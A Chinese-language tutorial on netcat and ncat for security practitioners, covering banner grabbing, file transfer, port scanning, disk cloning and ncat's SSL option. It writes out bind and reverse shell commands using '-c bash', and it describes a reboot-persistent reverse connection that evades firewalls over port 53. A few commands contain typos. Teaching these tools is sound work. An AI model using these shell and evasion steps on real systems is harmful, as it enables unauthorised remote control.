常用工具
经常使用且功能强大,安全从业者必不可少的帮手。
Nc/ncat
是网络工具中被成为瑞士军刀,特点:体积小巧,功能强大。
跨平台,有windows也有linux的。
可以做的事情:
- telnet/获取banner信息:NC比telnet强大
- 传输文本信息:举例:它可以做聊天工具
- 传输文件/目录
- 加密传输文件:默认传输文本文件是不加密的
- 远程控制/木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
1.NC——telnet/banner
1.可以telnet目标端口,发送一些指令,连接对方服务。
nc可以作为客户端使用,也可以作为服务端使用。作为客户端的时候,他可以连接其他服务器的服务端口,对服务口发送指令进行探测。
常用语法: nc -nv ip 端口
-eg:nc -nv 1.1.1.1 80
nc -h #可以查看参数的使用
-v:显示详细的连接输出内容
-n:后面跟ip地址,如果跟域名,-n参数不会进行域名解析。所以不建议跟域名。
例1:163服务器
作为客户端使用,连接pop3.163.com邮箱
1.域名解析,获取ip地址
2.运行命令
pop3是110端口,所以命令为:
nc -vn 123.126.97.79 110
分析信息:
运行指令,可以体现出nc的第一个作用:连接到服务器端口之后,就会查看到服务器相关的一些banner信息。通过连接,可以发现服务器地址上的110端口open的同时,又返回了“Welcome to …”,通过这行信息分析,我们可以知道163的邮件服务器用的是coremail,通过coremail实现的邮件服务。
分析信息:
会返回163smtp服务器的一个banner 信息,coremail系统的一个专门反垃圾邮件网关。
例2:http服务器
2.NC——传输文本信息
例如:两台服务器进行聊天。
如果需要两台服务器进行交互,就需要其中一台服务器开放端口用来侦听。另外一台服务器作为客户端去连接那个端口。
A:nc -l -p 端口号
B:nc -nv ip 端口
连接在一端终止,两边就同时都终止了。
适用于远程电子取证。
电子取证有一个原则:怀疑一台计算机有问题,要审计它,尽量少的或者不去修改计算机里面文件的内容,避免破坏可以搜集到的证据。
-q:在命令执行完之后延迟一定时间后退出指令断开连接。如果不自动断开连接,不知道指令是否运行完成。
3.NC——远程控制
只能在一定程度上替代ssh实现远程控制,但不能完全替代。
它可以实现双向控制。
类似可以理解为QQ的桌面远程控制。
**注:**通过kail控制windows,可以在windows上安装nc,命令中windows用户把bash改成cmd。
正向
客户端获取服务端的shell权限。
#服务端:
A:nc -lp 端口 -c bash #一旦别人用nc连接我,我会将bash shell通过nc的建立传给对方。
#客户端
B:nc -nv 服务端ip 端口
左侧B ls列出来的文件是右侧A虚机的内容,相当于已经远程控制A虚机。B虚机已经获取到A虚机的shell权限。
反向
服务端获取客户端的shell权限。
#服务器
A:nc -lp 端口
#客户端
B:nc -vn 服务器ip 端口 -c bash
B在nc连接状态下输入ls、pwd等命令没有反应,A输入这些指令获取到的B的信息,此时A已经获取到B的shell权限。
正常情况下:假设B是一台放在IDC机房跑着业务的服务器,IDC机房的边界处通常放有防火墙,防火墙是不会打开很陌生的端口并映射给A虚机并允许外面的人对他进行连接的,并且IDC机房的服务器会除了已经开放的端口,会过滤掉剩余从外到内的访问流量,在边界防火墙就已经将流量封掉了。
对于初级网络管理员:
此时使用正向连接是不现实的,这时就可以使用反向连接,渗透测试者使用的攻击端A去开放端口主动侦听,在B上通过服务的启动脚本,每次重启系统B会主动连接攻击者A的ip地址,连接之后,B就会主动的将自己的shell交给攻击者A。这种情况就会比较容易实现。因为网络管理员不会限制从内向外的流量控制。
对于安全意识比较好的网络管理员:
也可能存在他会禁止掉大部分从内向外的流量的情况。但是B一定开放有某些端口,例如开放了53端口,那A就可以开放53端口侦听53端口,这样边界防火墙也不会对这种访问行为作过滤。
对于安全做的非常好的网络管理员,
他可能在内网服务器群中做一台服务器作为自己的DNF服务器,其他的业务服务器真的就是从内网到外网真的在防火墙内,这时候就真的很难去逾越。
4.NC——NCAT
nc的所有功能ncat都能实现。
NC缺点:
- NC传输的所有数据流量都是不加密的,缺乏加密能力。容易被嗅探。
- 打开端口,会被别人尝试利用。缺乏身份验证能力,不能对用户身份进行判断。
NCAT就是弥补这些缺点,他是包含于nmap工具包中,是nmap工具套件中的一个。
例
用ncat实现管道式加密。无论里面数据是明文还是什么,当有人抓包看到的数据都是加密的,因为管道本身就是被加密的。
#服务端
ncat -c bash --allow 客户端ip -vnl 端口 --ssl
#服务端
ncat -v 服务端ip 端口 --ssl
每次建立连接ssl的指纹信息都是不一样的。
右侧虚机只允许ip为118的虚机去连接,但此时左侧虚机ip为119,就会报输入输出错,右侧虚机做了身份验证,会提示不允许连接。
要注意:不同版本,不同平台的nc参数功能都不同。
4.NC——传输文件/目录
传输文件:
#接收端打开端口
A:nc -lp 侦听端口 >文件名 #>,输出;侦听该端口侦听到的内容输出到文件名中
#发送端
B:nc -nv ip 端口< 文件名 -q 1 #<,将要传递的文件、文件名输入到nc的连接远端的端口里
或
#传输端打开端口
A:nc -lp 端口 < 文件名 -q 1
#接收端
B: nc -nv ip 端口> 文件名
一个是开放端口等待别人传输文件,一个是开放端口等待别人接受文件。
传输目录
A:tar -cvf - 要打包的文件/ | nv -lp 端口 -q 1 #将打包的文件的输入作为后面文件的输出
B: nc -nv ip 端口 | tar -xvf - #对收到的文件解包
加密传文件
#接收端开放端口
A:nc -lp 端口|mcrypt --flush -Fbqd -a rijndael-256-m ecb >文件名 #侦听端口,将收到的文件解密输出
B: mcrypt --flush -Fbq -a rijndael-256-m ecb < 文件名 |nc -nv 接收端ip 端口 -q 1 #将文件加密输出
他不是nc本身的加密功能,而是利用操作系统mcrypt的命令先做了加密。
默认kail没有安装mcrypt命令,需要自己安装。
apt-get install mcrypt #安装mcrypt命令
5.NC——流媒体服务
A:cat 文件名 | nc -lp 侦听端口 #以流的形式输出到B端
B:nc -nv ip 端口 | mplayer -vo xll -cache 3000 - #将流的内容给媒体播放器,接收一点播放一点,默认缓存大小是3000
mplayer命令默认是没有安装的,也需要安装。
本地不会生成保存文件的内容。
6.NC——端口扫描
nc -nvz ip 1-65535(可以改变端口区间)
nc -nvzu ip 1-65535(可以改变端口区间)
默认情况下,nc使用的是tcp协议,所以探测到的要是tcp端口。如果想要探测udp的端口,可以使用第二条命令。
每一个扫描器扫描的信息都不一定是准确的。建议多使用几种方式去扫描,这样得到的数据相对准确点。
7.NC——远程克隆硬盘
远程电子取证,可以将目标服务器硬盘远程复制或者复制内存。
#接收端开放端口
A:nc -lp 开放端口 | dd -of=/dev/sda
B:dd if=/dev/sda |nc -nv ip 端口 -q 1